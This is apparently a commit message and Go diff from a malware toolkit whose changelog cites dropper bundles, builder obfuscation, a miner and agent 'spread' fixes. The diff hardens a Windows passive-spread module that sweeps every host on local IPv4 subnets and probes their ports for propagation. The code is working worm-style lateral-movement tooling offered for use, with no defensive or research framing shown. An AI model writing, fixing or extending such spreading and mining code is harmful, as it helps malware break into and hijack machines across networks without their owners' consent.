fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.

agent/deploy/passive_spread_windows.go

@@ -479,12 +479,18 @@ if (Test-Path $dest) {
 	)
 
 	for _, ip := range getLocalIPs() {
+		if !isIPv4(ip) {
+			continue
+		}
 		subnet := getSubnet(ip)
 		if subnet == "" {
 			continue
 		}
 		for i := 1; i < 255; i++ {
-			target := fmt.Sprintf("%s.%d", subnet, i)
+			target, ok := ipv4SweepHost(subnet, i)
+			if !ok {
+				break
+			}
 			if target == ip {
 				continue
 			}
@@ -515,7 +521,7 @@ if ($s) {
 }
 
 func portOpen(host string, port int, timeout time.Duration) bool {
-	conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout)
+	conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, fmt.Sprintf("%d", port)), timeout)
 	if err != nil {
 		return false
 	}